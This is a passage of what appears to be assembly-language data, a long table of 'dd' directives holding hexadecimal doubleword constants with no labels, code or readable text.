0A2FB0D64h, 13F34CA0h dd 98AF1999h, 2DEF6AA2h, 0B80B890h, 0D479C5ADh, 1EA1E903h dd 0DA85693Fh, 3CA728FBh, 4A5B5788h, 170B9B0h, 853170E6h dd 0FD7B2881h, 33238CE5h, 0E1FEBDF8h, 0A031A0BCh, 9F12E526h dd 1095B0ECh, 9F0693Ah, 0E9969B90h, 0CB585Fh, 0B39AD6Ch dd 8444E861h, 0FA84BB62h, 8A6CC95Fh, 8020E22Eh, 0D85F3AF5h dd 0DB892ADCh, 0B2B60730h, 0A39B9283h, 0BDC043CEh, 76017591h dd 3F88BF60h, 0C6209012h, 3680955Bh, 216FC781h, 634E6B25h dd 0E1C41039h, 4FB4F2Eh, 24064501h, 1E80E5ECh, 46FBDD1Ch dd 4F0B0874h, 0BD4123Bh, 0D37DAEFh, 22418509h, 807FDA3Dh dd 9D2B5058h, 0A065D2F9h, 6EA2E830h, 57612380h, 0AF25766Ah dd 0B5AA5931h, 61CDBF2Ch, 125033D4h, 0B4B62A7Ch, 0B0841342h dd 0E901F3C9h, 53179B48h, 90AEAD0h, 2028B27Fh, 0F0C91B6Dh dd 0F8240130h, 0D692D4B6h, 0EACC3F7Ah, 18A98A20h, 2275053h dd 42A93E91h, 297A0170h, 2C2BC585h, 89414C4Fh, 581D9DCCh dd 0BDCFE31Bh, 375F253Fh, 0E5C62467h, 653BC160h, 0A0B9000Bh dd 0F4BABE0Fh, 295B7004h, 28ACE6B3h, 0C96E5Fh, 4729E77Eh dd 28AFC2A8h, 0B7DBFC93h, 0B8704EDAh, 61674F9Fh, 7080B9E1h dd 2B41ED4Eh, 97FD1D2Fh, 8C488D2h, 9F9E4A00h, 0DDE61475h dd 0BD9B004Dh, 0C1833724h, 2BEDBE0Dh, 0F12B443Dh, 0D7F80041h dd 1095ACE2h, 161DBFFCh, 0AA44DC35h, 6852C2Ah, 2567A821h dd 0A82A532Fh, 577C9779h, 0F66BE762h, 0C93A6CF2h, 5FFC194Bh dd 91523BFh, 5479F690h, 4084792Fh, 9CA73AADh, 4A0A274Ch dd 8BEEFD95h, 14752CCBh dd 55C5926Fh, 0B2DE0557h, 9040BE92h, 9C7101F9h, 2A3E09BFh dd 0E596335h, 0B1305093h, 0FED63F2Ch, 0B155043Eh, 0E6E1FF5Fh dd 0FD4FE2DBh, 0E9B64AC4h, 0BD52511Eh, 4565CBEEh, 0D950DE82h dd 4A7898B3h, 0A26BD253h, 4E78456h, 254D7AFAh, 9426519h dd 3DD50488h, 0AFDA3DF1h, 19F88310h, 0BDAD1A5Dh, 6029496Ah dd 0A3C0EF4Dh, 22039C0h, 0C1BB0531h, 5F56D295h, 9971702Dh dd 0F73D809Bh, 4EB5558h, 4532C600h, 0B535C986h, 3E85009Bh dd 5267AB1Dh, 5FE25B56h, 947F8A95h, 0FA5EFEDEh, 548B09EBh dd 0A05A6918h, 6FB501E2h, 87EC443Ch, 0BF1354ABh, 1122148Ah dd 4BD4C595h, 46D655FEh, 0D2EF0218h, 66F03F36h, 0DAFAB0h dd 0D0608184h, 38F88672h, 0C929E100h, 0BE93EDC6h, 80E9B152h dd 8D3B80E6h, 5EA89C51h, 970018CAh, 24960C70h, 3FD1E16h dd 5C755762h, 0AFAC718Ah, 7F8017B8h, 5D5A3E38h, 30B54800h dd 44808933h, 2B8B005Ch, 0DFEB86F7h, 0B30853D1h, 0A55B5F75h dd 0F4308D50h, 8D29FE46h, 14BA55h, 3A67E668h, 0C0B8605Bh dd 11ED9B1Dh, 8A618EBBh, 41FF72D0h, 256419CCh, 9B6E6A5Bh dd 0CAA85F00h, 63017B4Ch, 0E9A09F26h, 9690B3Fh, 8335553Ah dd 17C8CCA5h, 0E84DDE83h, 54112DC3h, 8DC6E97Eh, 7ACF8009h dd 0C5560056h, 92760CEh, 1F6E95Bh, 251A3DD7h, 80DD14D7h dd 0F09F7BBh, 799501E2h, 0ADDBAE73h, 0FC92D896h, 81B21F38h dd 1379BFC7h, 342E4824h, 0C1830415h, 2600B21h, 601D3h dd 0C2E782B9h, 0AAE8394Fh, 0F5E9D7Fh, 2B9109F4h, 456A8DBDh dd 0F4B5AFE4h, 30B5D4A1h, 2C62BDFh, 0B1C1BF6Fh, 0FDF725h dd 689D8D2h, 0BE92260h, 3861FB00h, 74E65D80h, 0FCDE5167h dd 97F38420h, 4EB4A794h, 9D2F02D4h, 0B45870A3h, 561D6A75h dd 0F0B72750h, 0D3CFC700h, 4A0AE4B8h, 6B42EA3Ah, 0D559D826h dd 0F2BD8FC6h, 7BBEA2DDh, 0E440702Dh, 957F5201h, 0F83CB7E0h dd 10C1D241h, 296A702Eh, 0A5BA0595h, 53FC6806h, 2C8FD0DDh dd 1BBA2CB4h, 0F9AB99F7h, 53C09C4Ah, 4A41B003h, 0E0B4B62Fh dd 9F37C9C8h, 0E5D35738h, 5785234Bh, 3417507Eh, 50174B90h dd 0FEED84FFh, 0A0F935D8h, 5A0D8DB0h, 0D3A9A608h, 0BC92C69Ah dd 7EF8011Eh, 0E38BB472h, 59B6282Bh, 6FBF30D7h, 0C95009C2h dd 8DF502AFh, 5FF0918h, 0F7EF0752h, 0F260431Bh, 0FCCED746h dd 19D8912h, 0B2083BABh, 5EF1F8h, 0A6111E62h, 0D000C869h dd 9F4491AAh, 0FDD5DE5Bh, 399C282Eh, 29800440h, 62DE1FD7h dd 0FD0B0429h, 0BEFF6D29h, 0FC76B70Ch, 9A7E05D4h, 0BAE6B835h dd 58B55D45h, 0A0ECE7BEh, 0D38D80Bh, 804BAB41h, 0DB55E256h dd 2E5DF8E4h, 4C4BE375h, 31A188h, 17C0E191h, 6EC387DBh dd 30EB964Eh, 0BEC7C1DBh, 17A97AE3h, 2CB3AAA5h, 4CBB5018h dd 965D1DCDh, 380DBC13h, 0C8CA5783h, 6A00D06Ch, 8D954A39h dd 1C0996FBh, 2A173FF3h, 24C00012h, 8D815B08h, 0B0754AFh dd 0C5F57F72h, 53195FA7h, 219D04DFh, 0CAE9B914h, 0A7CAE0F9h dd 0EE9F9620h, 0B70F1351h, 0EADFAEDEh, 68842ACBh, 3ED1E372h dd 63860481h, 0A2B82301h, 0CBBC3D49h, 9EBEF075h, 0CD4D0740h dd 0D71902BCh, 14B399E0h, 46EFD855h, 810F13DEh, 492539F3h dd 0B77696DDh, 2F1291B5h, 71F8B109h, 332500D5h, 0AE0B70ECh dd 202FF009h, 2AAD7297h, 0BDDA988Eh, 10D9E7DBh, 1605F2C0h dd 453ACBFEh, 0FA4BFB5Ch, 1723276Bh, 8A2A2804h, 0E110DFA8h dd 0CE8A4110h, 0C189B220h, 341905DBh, 0EF6AE2D9h, 572BEADDh dd 5FD66EC7h, 3DAF40FAh, 91024C8h, 3F5B513h, 4B8A7428h dd 0AF9C95DAh, 8A802F9Eh, 75FF9BD7h, 0C54C7425h, 9F31109Dh dd 0A602DD48h, 0ADE9B5EDh, 0F05FB8E7h, 7F7EB837h, 9D6EAC09h dd 8B009C64h, 866A070Ah, 76956A0h, 0B8F1E98h, 943EA06Fh dd 29138063h, 37AA2585h, 0FF2F159Ch, 809C47DEh, 49F6DE0Ah dd 3816F3F4h, 0F70A59D2h, 0B38AB505h, 2347572Fh, 0D50365E2h dd 0B59D1D16h, 0E67D259Dh, 0A2DC167Bh, 0FD89AEE8h, 0C058FC3Ah dd 2C2620A6h, 0B5310957h, 1D792A25h, 0E5334EE5h, 0FA294FB9h dd 985A476Ah, 762CB9B2h, 62160DFCh, 805F5DA2h, 0EF3B6ACEh dd 5F44B00h, 0D7EAF940h, 44E2037Bh, 0C65BFC36h, 59859109h dd 6B1E7B33h, 9441D34Dh, 13C1B4Bh, 97B5D980h, 0CF005F87h dd 20CBF781h, 9D2B66BCh, 0E98BF556h, 540955EBh, 802D18F7h dd 8B3600CBh, 18DF81C1h, 6D5EB67Ah, 66C2DDA9h, 0D87DF2BBh dd 0FFF85FD7h, 5A24506Fh, 0EB3D1636h, 2AF1AD21h, 207FD149h dd 25079E9h, 0DA4920Bh, 11BB8763h, 5B422A90h, 465C9D2Bh dd 1E6DAAB0h, 0D9E79F62h, 0FC6018E4h, 0FD2DF483h, 954B4CF0h dd 8A53E8E8h, 0FFF9D84Ah, 0B16D957Ch, 88522FC1h, 7939E06Fh dd 712E0C41h, 0E761D7C3h, 67B41198h, 436AA4FFh, 718014DEh dd 1110B2CDh, 3FA3512Bh, 0DD6AB24Bh, 9BC277CDh, 2FF57E85h dd 1A64FDEDh, 0DA336B60h, 2D30EF09h, 5A1C7B83h, 0C3AE438h dd 0A64A2004h, 3CA6D1FFh, 0CEEB6E0h, 443DB425h, 308707B1h dd 9690F5h, 5BFB8B38h, 70289497h, 0EECFBD9Ah, 84A68241h dd 1C7A46Fh, 13898D16h, 0DA5C35AAh, 8296804Ch, 124DBBF6h dd 0EF1CB35Fh, 7096188Fh, 0EE39D6FFh, 6CA68D5Ah, 0FA311CB2h dd 1BAD9E0h, 28853519h, 7AB1E95Eh, 778904B3h, 597BF009h dd 27527178h, 5E504C2Ah, 881E7B17h, 1D1351A7h, 0BD7AEF31h dd 51F0713h, 0EF23B5F4h, 9A93DEE2h, 48F8825Fh, 0B08875C6h dd 0BF9087B3h, 2502F169h, 0C0B86A50h, 62CDBE96h, 1709D520h dd 0F39061DBh, 55F00027h, 0A8A69ED3h, 0C315123Bh, 4A40F661h dd 0E5E588h, 38DBDA37h, 9DE3516Ah, 0E8FB4F01h, 839BD01h dd 5EA98A6Ah, 0C183289Bh, 3A04A57h, 0F302843Ch, 0DB808AC8h dd 256C5ED7h, 40CA4F57h, 0D2343C93h, 6D01DD02h, 89860FA3h dd 697AD470h, 407FC509h, 0B5FF6AF7h, 9EC0D36Dh, 24ABC48h dd 24BF6CBAh, 0A2E0F1B7h, 5D5B29C5h, 22C0ECACh, 789C4AD6h dd 1B1E0C17h, 55135E09h, 24B6E738h, 53093601h, 0FCA02CBDh dd 220EFF2Bh, 99F0325Bh, 0CD949702h, 9D3311E1h, 0B0FD923Bh dd 9F1E65Fh, 1923220Eh, 0D8E93F20h, 373874B6h, 7AAF8153h dd 208AA5B8h, 436F6821h, 70E65F9Bh, 6C51212h, 0C634EEF7h dd 2579FC5Bh, 84DF5923h, 0BD184D9Dh, 850183EDh, 0E4EBCC91h dd 0FD218D87h, 25E2AC21h, 0B05C60CAh, 7D20D228h, 2BF80B22h dd 0C4DD57C8h, 0C25F4B30h, 662980B3h, 459DFA08h, 0A8002EEDh dd 80494755h, 0B47C4AEBh, 0ADCD8D5h, 0B4029F2Eh, 5E14775Ah dd 0B7D588Fh, 0E9D84BC2h, 3D32A248h, 4F65F526h, 0B40EC029h dd 0C2910005h, 4B6AF3BEh, 258CC89Ah, 0B5CEB388h, 3D08D545h dd 0C937BB33h, 1795C565h, 123DBC64h, 0D8EF4F70h, 614A9814h dd 0BF00DFE3h, 0ED0E1066h, 0D300150Bh, 544B8F5Eh, 7E591BC7h dd 0B1AF25CDh, 0F5520B55h, 0D7EB9BCDh, 0CD9CEC66h, 0AE7CB440h dd 6FCA3h, 0B76BF421h, 74E0DC61h, 9B438909h, 0A5DA7B1Bh dd 7525FA35h, 28EDD444h, 40DF8F92h, 82F3D63Dh, 0FCC2FB9h dd 0ED40BEEFh, 25174C8h, 8D29D5C5h, 125726DDh, 5E8EDF14h dd 34B477F0h, 2605309h, 1037163h, 6BB85B61h, 0A700217Eh dd 55B4849Fh, 0D0BF6CAFh, 2EFD2572h, 0D7F5305Fh, 3F5595BCh dd 9C8023AEh, 31258254h, 78C01290h, 53B50369h, 61CD02Ah dd 0CE01CC01h, 0B777361Ah dd 0AD0B74DAh, 1DEB1D4h, 0CFF1CE0h, 4183B1F7h, 3A02B58Dh dd 4BB84AB2h, 94E133Bh, 0D7742BEAh, 1847F7CDh, 0C081100Eh dd 7E79F1D2h, 2446287h, 23BF3CE8h, 1EC1F1Ah, 9E48A038h dd 0B8B4298Dh, 8D96C076h, 0FAB70F6Fh, 0BA666004h, 0CCAFC7F9h dd 149D6110h, 9E795F56h, 1EACD3BDh, 0BFE8BB0h, 184EF398h dd 0F4617D99h, 0A5F0F82Ah, 9890804h, 5EA7CBEAh, 0FB97569Ah dd 0BF66D420h, 0FF5014AEh, 0DB028CE1h, 2AF18509h, 24961C57h dd 0F6720486h, 9247BB5h, 5ED1DA8Bh, 0DEEA7044h, 87FDC0B4h dd 134F6285h, 0A26C3596h, 40A8465h, 0F6A064F7h, 60027869h dd 33F208BFh, 961A5704h, 0F7A7F45Ch, 7A4DB70Bh, 4F152FC0h dd 0FEF85F83h, 5843366Ah, 5E4D9E0Fh, 564ECBC0h, 2B903937h dd 1EBF0544h, 0A53E13F5h, 80F33F5Fh, 49894AA5h, 61090A95h dd 0F1605739h, 0CB5EAD51h, 0E4C8F7CBh, 954B0161h, 9590E9B4h dd 0A7A6C3F4h, 8AEEDEh, 9123DA2Fh, 352DBFE3h, 6A45D916h dd 67015B7Ah, 0E4A1F4C7h, 8923CCADh, 0F798510h, 0E22F6807h dd 0CFB31283h, 0D002045Ch, 0D77C9B21h, 7352A5D3h, 6DF50B5Ch dd 10D705Eh, 0A73F78D4h, 6378E127h, 0B4FEF8h, 462A6C97h dd 0DDF9BFD9h, 3242A626h, 0E9428424h, 5C624ACDh, 0AD7169D2h dd 0EF9A61BCh, 0A5304A1Eh, 0CA7B4BB1h, 12A65BA5h, 89FAA4A4h dd 4BBBD4Eh, 0BCD98B67h, 0DF81C3A4h, 401CF85Fh, 0AD064A89h dd 90B815h, 0BFAE91B4h, 117B81C9h, 0D4B4D495h, 80711D4Dh dd 0D9F8DDF3h, 9F561CAEh, 0BF1917BDh, 0E6071C8h, 165E06BAh dd 0AABB6537h, 0BC7A8A55h, 0F89502C7h, 5D6C80A1h, 0BF7FC8D5h dd 0E18B1763h, 0BF0DC41Ah, 0D05CAD4Ah, 0DF0200FCh, 0BB607CAEh dd 0D52495DBh, 0CE00D93Ah, 6BD86861h, 0A06FF1EEh, 28199C9Bh dd 277E815Fh, 0D3F6F1FDh, 4F667035h, 142B4A09h, 0B909750Ch dd 1C3FFFh, 0F8613B94h, 0BD04884Dh, 1D519589h, 7A89FA16h dd 0B44E4622h, 0A9BD957Ch, 5AD3D3E8h, 59D86918h, 74119C04h dd 83F875C8h, 0BC04580h, 430085DEh, 24F729B7h, 0A6EDDE1h dd 5301CB7Bh, 0B9F104ADh, 56EAE61h, 26426533h, 4B01ECF5h dd 374DF68Fh, 0D72675ACh, 0E7040CECh, 17BC742Eh, 6F574BA2h dd 5CF86FBDh, 0BC1C86D3h, 5E3840E9h, 0D2BC5AADh, 0E66B7980h dd 4BBDEE82h, 0B8E7CE56h, 0CBB32660h, 30E50890h, 0F912611Fh dd 0EB93DEF6h, 0CA2CD334h, 0ED044A26h, 3059E8ABh, 89A0D8BEh dd 334F31B5h, 9D82B9F2h, 6E5516CDh, 0C4FC5F39h, 0B839D4DFh dd 0C100AAEAh, 5B3D9AF6h, 0EFA0B4A4h, 0BA970A2Ch, 501D53EBh dd 2510198Ah, 0FF123CAFh, 0C621EA96h, 0EECF212h, 221D7F32h dd 0BB050581h, 1F977785h, 0DE1209EFh, 0C0704DF7h, 77A9B468h dd 7FBA574Fh, 18F70007h, 748CE43Ah, 0CD314B85h, 0AA202BCBh dd 112C6E4h, 0E27DD0B1h, 3F5643E6h, 9CE03327h, 0A18F14h dd 0C4D34EDh, 5F5B1A5Dh, 5468599Dh, 0B8863200h, 11D7C0A1h dd 0CBEE953Dh, 993B5B5h, 22D085D0h, 0D824F397h, 78731020h dd 0C4B0465Ah, 265BBF16h, 24FF37Ah, 1303A81Eh, 0A52BEDE2h dd 0EACEF54h, 252B1908h, 0DFF21E2h, 0FBEB7B25h, 0DDEAB429h dd 0A9B5E844h, 259D174Eh, 24D5B688h, 79C2311Ah, 0F3810058h dd 645E5B19h, 0C2ADFEBFh, 1002029h, 9F22ADBDh, 58C4F96Eh dd 1161341h, 0FD6A1838h, 5B76A47h, 6BFC26B1h, 7BFD99EDh dd 70C49CACh, 0D2CEBC98h, 0FA93C04h, 0CCC5E2ABh, 0FA034B3Dh dd 0DF0B6329h, 0D95A75B3h, 48155020h, 5CAA007Dh, 0F519FAB1h dd 0DF71F93Fh, 0D447A51Fh, 0F0BDE9Dh, 0C8C5DD83h, 0CCAE5F12h dd 0F1779DE7h, 25375595h, 2C41CC2Dh, 22011162h, 7DBD122Fh dd 0E42DAA18h, 0E96A7Ah, 59DB0183h, 2569C60Dh, 1A5C6028h dd 0D936B662h, 0EE3C00A2h, 0ABAA0FAh, 0F8E0B009h, 2B0075C2h dd 2085FD13h, 0FC610D16h, 4AAB8E8h, 72B39196h, 80C2FABCh dd 0BF5E8CDFh, 0E72E7751h, 41C0B0DBh, 698D04E3h, 81C2D865h dd 3295915h, 51DB12Bh, 80E8752Fh, 55C96DB5h, 94B7C64Eh dd 7269A0A0h, 0F57E0513h, 2A802FFCh, 36AB86B7h, 88696607h dd 0A460C9B9h, 41D5DE1h, 0BA075A08h, 0B8E7EB87h, 5F57F6A5h dd 123E71DDh, 51A8ACCCh, 2FAEF12Dh, 43ADDE16h, 0CE17F2B8h dd 4681C18Bh, 3A83BAFCh, 0EA81F011h, 96982B76h, 88A0145Ah dd 99FF8B28h, 2DC98A81h, 2ADD2162h, 0DDFE1B64h, 58050083h dd 1ACDC22Bh, 0CC84B8F0h, 825A4D38h, 2B12A4h, 33C5001h dd 3A813BD0h, 0B64B4538h, 312D386Bh, 0D9E90A10h, 8B134CB9h dd 41F304C8h, 4003031Ah, 64F333Ch, 1B3C31C2h, 12D2FA8Bh dd 5123F18h, 1C5BD8F8h, 0D163030Ch, 7B25FD20h, 3308644Dh dd 8F64021Ch, 836D8105h, 886E04C4h, 8B48516Eh, 81100532h dd 141AB0A9h, 0F62FDB5h, 190BF289h, 24448446h, 35852EC6h dd 684781F4h, 2A9AA7D2h, 815C6C1h, 13C10504h, 2401AC76h dd 83403D0h, 11ED8206h, 0E8D336EBh, 15001E77h, 717C0D5Fh dd 2867F5B1h, 0DEAD39h, 81571484h, 13A9FED0h, 8E5F343Bh dd 0EFACB9E8h, 50C7A267h, 0D523555Ch, 3385BBC8h, 14D0C6D8h dd 0F209811Fh, 7FD4A692h, 95C08007h, 0E9E781C2h, 3C593379h dd 0E1FA05C6h, 0A7AA885Bh, 0A5D6095Ch, 3430F18h, 13362657h dd 452F374h, 59038D83h, 203BD916h, 57CA9510h, 22840D00h dd 3C239731h, 0C28700A4h, 48F6124h, 514A601Fh, 9547BDC8h dd 587118DDh, 0FB6005Ah, 10B86661h, 0EB008147h, 54943987h dd 0F371D880h, 0A013DD46h, 7B77D961h, 9CFB130Fh, 85A6B0A4h dd 22811B45h, 0E9D174EEh, 0D415A72Ch, 8247F0BEh, 9AC636C0h dd 924FE9ECh, 0CC430070h, 0C27DF0ACh, 6D389072h, 282E00FCh dd 21CDD0A1h, 0FA6800F5h, 92ECAEFEh, 4EE88D63h, 90A3D701h dd 0FCF55748h, 1E710BF0h, 9DD010E9h, 50C7EE6h, 0A11891A0h dd 7F1F1771h, 0D280923Bh, 4834E9E7h, 0C0F17733h, 0A2A5CE31h dd 0D42C574Fh, 8C1973C3h, 2180C108h, 0FFA2BD13h, 0AD77AF81h dd 0F4854B18h, 101A888h, 0CCB8901Ch, 8071DB16h, 0AEA90968h dd 0DD7DA717h, 7849B610h, 0A1023746h, 0B45743A2h, 0EF10CB31h dd 8200A2B9h, 0B36BDE70h, 60CBD30h, 8FA8B1CEh, 0AC1F599Bh dd 2AC7D477h, 600F446Eh, 23ED29Ah, 0DB1301C4h, 0C0E55751h dd 3F88409Ch, 39035577h, 8160E804h, 91C801F7h, 0A5F40258h dd 0A140F0ECh, 0D618C562h, 4F2041E7h, 68AE9080h, 0F104D43Fh dd 0D2B52B06h, 6B0823C9h, 76002160h, 868725D4h, 0F78B0B03h dd 1DDEA58h, 4BAE7358h, 80DF3A70h, 576E1C10h, 73424693h dd 0D47522h, 3D2588D8h, 614D0BD0h, 5F935300h, 1BE17569h dd 0A3B0A8h, 81DBE415h, 952D5B11h, 0BD272A07h, 0A58038C8h dd 1C072483h, 0C0AD2B74h, 596D7A8Bh, 6200FADCh, 846F9D3Ch dd 1441EFh, 9E0FA8F4h, 5D5AEE18h, 0DA600800h, 54C95E8Dh dd 0E93E3FA7h, 529B4B07h, 0A7FEC73Ah, 508F00F9h, 0DA00EDB9h dd 0C77D7930h, 0EFE197h, 7B01CCF7h, 57C8E72Dh, 14D4FC00h dd 4946F4E6h, 9D0A01ECh, 2BBAC605h, 0F4EED1CFh, 0DB0F5C52h dd 0E40F78h, 63B02368h, 0D4BF0FF9h, 3601A765h, 0BB29B8E6h dd 6F8E0018h, 0BD3A9879h, 0C0717442h, 2A905210h, 6E06F8D3h dd 7EF3654Ah, 2183E708h, 892D68B0h, 39D805E0h, 0DD033C71h dd 14BF0DA3h, 28686016h, 7A853A72h, 6A02BC18h, 0DF4F11h dd 0F5E49436h, 25EC3E2Fh dd 46602E74h, 36D0A921h, 273D03D5h, 0AB1ABB43h, 787BE2D0h dd 7E73DF0Eh, 6F80A3DEh, 339F32Ah, 0A5B45A69h, 688A3ABh dd 98EDBB4Eh, 7B212D08h, 0F4A500BFh, 7E65A86h, 7106E29Ch dd 4B4AF05h, 10A8D8B0h, 0E2806ADCh, 0E1907B9h, 4E883DD6h dd 43F8EBE0h, 0F03BE63h, 14155556h, 90C581BCh, 1198C70h dd 0CBD8A071h, 0D4CFBF68h, 0F80BA508h, 3C8AB02h, 0A98CDC51h dd 0F3430ED9h, 560D801Ah, 127800DAh, 4C2D0F2Bh, 0DF00ABA6h dd 5BE48184h, 70C07F7h, 0DA9B1361h, 0B08AC093h, 94072778h dd 0DE3CE006h, 2066E460h, 0F3AC071Fh, 0C04EDFF0h, 0E3C3FB69h dd 0A5517000h, 0F4BBFEA4h, 0EA6812C0h, 4225009Dh, 0FC0B62A7h dd 0A2D8B800h, 0EC34E1EEh, 1E7B7543h, 0C7228EB4h, 60ADB99Fh dd 1D5390D4h, 8D570D00h, 5CA9FFDEh, 0E50A001Bh, 0A10F325Ah dd 3C7C015Dh, 317CF8B8h, 3403Ah, 0FF3647A3h, 0E81CB157h dd 6461EAAh, 3140F38h, 305D4B81h, 1E55F00Bh, 1E842F0h dd 46AE3700h, 34869F07h, 5504AFA2h, 0A0FA2FE1h, 95C1080h dd 9B3DA7CBh, 3B4F5500h, 1F95928Dh, 419F005Eh, 0E2CB2A13h dd 98F6440Eh, 0C0531A00h, 844B73E7h, 0D352000Dh, 825FCFDCh dd 2C42D80Fh, 0DD0A8100h, 0DF9854D4h, 87B41B3Dh, 1AAE51A4h dd 0A91FC860h, 74ED1C04h, 65438ED7h, 0DC5F4F80h, 78000B40h dd 0A592CAF1h, 0CD107Ch, 0B51E9BDEh, 23D28F08h, 63BB4D00h dd 0E07C6AC9h, 0EC6B1F45h, 5FB3C0E7h, 1C129685h, 0D0EBAB00h dd 2513BF5Dh, 7780A994h, 1E203457h, 754BCDB4h, 68B3003Ah dd 0DEB039F7h, 0D900AF8Ah, 0CE7648Bh, 987F909Dh, 816700E1h dd 42F6D03Ah, 0FD00CC6Bh, 259C7387h, 0EE5E23h, 38D60C48h dd 42983CE6h, 2D439h, 97AF58D8h, 6550B3h, 0C81A1DC5h, 0DAA01578h dd 4592E007h, 8D0E84Ch, 30684E8Bh, 0E1B0A304h, 7028A40Bh dd 0A01EA136h, 0A2C035E6h, 79AF22F4h, 0A5B8C00Fh, 14166B1Fh dd 0DE9F3Bh, 48AB93C7h, 0C6876Ch, 0D4991217h, 0D5CB5DCCh dd 42BE400h, 7DBC423Bh, 1BA100F8h, 0BF1762D1h, 0CA0FB86Eh dd 60ECF590h, 6F744B7Eh, 0FFEF3D18h, 8656499Dh, 6064BF93h dd 8094153Ch, 4E4CE4C7h, 387DCCF1h, 0FE00CF89h, 3051AE54h dd 37EFD06h, 194F4716h, 7CB57500h, 704A36h, 0F5D8713Eh dd 563B01A1h, 25936404h, 5480854Dh, 36A4EFAh, 0E307F105h dd 8CF9E1D8h, 0BA0DF1Fh, 9EA029ADh, 903B89AFh, 0C7310079h dd 6391EFBCh, 0AD2001FEh, 6DACB50Ah, 18A07E5Dh, 3C770011h dd 0E20CD17Bh, 0EE00769Fh, 82E7E9A1h, 3FB5DFA7h, 0D100672Eh dd 9A0432A4h, 62005C4Dh, 2AD76187h, 137BDBFh, 99C47850h dd 0E0362981h, 0DE30AAC3h, 6C2619AEh, 0CE3D007Ah, 8A2C21DFh dd 4C306841h, 0DEE82184h, 72180E7Fh, 23C0654Eh, 0D2120657h dd 325140h, 0D3097638h, 0A90BC019h, 5C52C200h, 0FD3DCB0Fh dd 0FF5E003Bh, 515407C7h, 0AA3E28D8h, 61B7B038h, 0FF70119h dd 3A8E6691h, 74FC40F2h, 23765BE9h, 98B34403h, 90718FFDh dd 4B46F6h, 0D2B957D7h, 4A419582h, 0BB2D2A00h, 42838CD4h dd 5A2B284Fh, 4C433E08h, 0D5B85883h, 31009481h, 201411ACh dd 9A9A61B5h, 281A3C34h, 0AA8E38FCh, 0C22A60Fh, 7023C600h dd 1C1881BDh, 0B5A121C0h, 399B6399h, 0EE80B166h, 0CFE19114h dd 64B53BA0h, 231C2CA0h, 0BF392060h, 3A71FBF6h, 4A00AEBDh dd 9B401A52h, 2500A617h, 837CA06h, 0B57329h, 8FE207A5h dd 3BAD015Bh, 0BD78A801h, 0AB49209Dh, 13C840ACh, 1A1443A6h dd 70128DA5h, 5000E114h, 0BA4B0F80h, 71DC0E20h, 301822C6h dd 0EDE0EA8Eh, 68D91C28h, 0D7C1DD00h, 6C2834D8h, 3CB80009h dd 0FF290B76h, 0C0EDF547h, 0E1038194h, 0E95FBF8Dh, 0A005906Eh dd 0C9F80056h, 0A9DD7C4Eh, 3B00E175h, 3659ADC2h, 3D3BED2h dd 96372C0Eh, 0F1F072F9h, 0FB7A0993h, 242FE800h, 3E16EDBBh dd 0BDC20047h, 790863F0h, 2B00EA01h, 0C504CEB0h, 8640D6h dd 0DE61EE99h, 90FB8FC1h, 0A51B3904h, 0A8C0F3F5h, 95E20Ah dd 49C4B0FDh, 0EFF01299h, 0E4D69400h, 0CEB6A2D3h, 0D2C50007h dd 5D054309h, 2105BBE1h, 252DFEA8h, 69D98440h, 72BADD0Bh dd 62EC003Eh, 6DE8E1EEh, 1870EDE2h, 7D2C110Fh, 0A536C02Dh dd 390354h, 0DB0DDD06h, 59235AA6h, 50463A30h, 4D7AABA4h dd 18781036h, 30ED8617h, 8EAA1D5h, 9ECC1800h, 5A23E21Dh dd 0DD020635h, 912B2ED8h, 0C5858D00h, 2617F9EEh, 1DC27899h dd 0C03307A0h, 442E730h, 6007F51Ch, 0BF281F69h, 0B4725850h dd 71830063h, 991E2ECEh, 12000476h, 1AD7F6CBh, 23202Ch dd 965A0EB5h, 423706D3h, 34DC6C03h, 0C01518BDh, 88E8Dh dd 6A64E9EBh, 7F0E31C7h, 0D400117Ah, 4D04D776h, 255EB7h dd 0D56B7C21h, 79D33AACh, 72984A07h, 0C7B1D1DCh, 41801F06h dd 0A114A6FCh, 79013DCEh, 6304C08Eh, 288355B8h, 0D3731331h dd 4A6A0800h, 3475251h, 0CC82003Eh, 0C08D4943h, 0B2000478h dd 59C8C192h, 3841E646h, 38E0C47Bh, 0FFD69586h, 0E98FBF00h dd 0C04DDC01h, 0B20C0053h, 45C9DA03h, 43767204h, 80F39F3Ch dd 98C6174Dh, 0B83CDBh, 578EB11Fh, 1242F843h, 2093A300h dd 0D771A54h, 0C4590C03h, 0EDD11DE9h, 18FBA201h, 22DD4D7Dh dd 2800B8BEh, 63E36EDEh, 60007F82h, 0E7B71445h, 39E2A3Fh dd 88290DD4h, 31383CDDh, 0FD651FE2h, 0EDC0735Fh, 4A3DB776h dd 90950049h, 0F3B5F241h, 9200966Dh, 10ABBE1Eh, 608AF76Ah dd 40B18935h, 0DE1EE341h, 2081A0h, 0AD5D1993h, 706FA2E6h dd 55C55000h, 6EA7636Ch, 2A2B02F5h, 30ABA074h, 0B2B59C00h dd 955F00E7h, 104D4C20h, 40087B0h, 0DCBBD271h, 0FC22F579h dd 0B3E1008Eh, 0D265C48h, 65615D7Eh, 0BA334E4Ah, 6BD22880h dd 757108EFh, 0C9ECFD00h, 9EB81B28h, 0F1DC11A4h, 0E0103816h dd 590F0508h, 471E00CEh, 0CC922549h, 110016F3h, 0D2CD52C7h dd 9FEBBAh, 0EF3C96E2h, 0F3A1881Dh, 4A518F00h, 0E5C77D4Bh dd 0B3EC1E82h, 75807FD9h, 38AFB62Bh, 0A601231h, 54B3EF71h dd 0ED890EC7h, 0C9210E80h, 8E056E3Ah, 338AE120h, 2CBB7400h dd 6B37A8Ch, 1EC30D3Fh, 0C214A918h, 9D4C46h, 0D67F5428h dd 0E049D72h, 0DFEC1347h, 29022A3h, 0B337500Fh, 6896A099h dd 0FDE8621h, 35E1E0E8h, 0B0DD7127h, 0AF9AEE42h, 611E1130h dd 767B50Bh, 0B8394692h, 0AF4BD0B6h, 0CD00D241h, 576C3BF9h dd 1A18907h, 0BA03018Fh, 80B5120Ch, 96EA7870h, 73C01Dh dd 0F3FD084h, 6821F8FEh, 5BAF2007h, 1DB0390Dh, 740C3E5Dh dd 70557FCDh, 9DF09506h, 80604E00h, 30FD1EE2h, 91B50346h dd 1D5EB621h, 97241800h, 6A3F77EDh, 23BD3C3Eh, 34E7170Fh dd 268EAA01h, 5D288333h, 1C12B81Ch, 40DE7E61h, 86A32BC7h dd 19286693h, 6D01E77Ah, 0A2C2ABACh, 35D1378Fh, 3CD3080h dd 69669016h, 0BB9E14A0h, 83130F00h, 475D3D37h, 78026093h 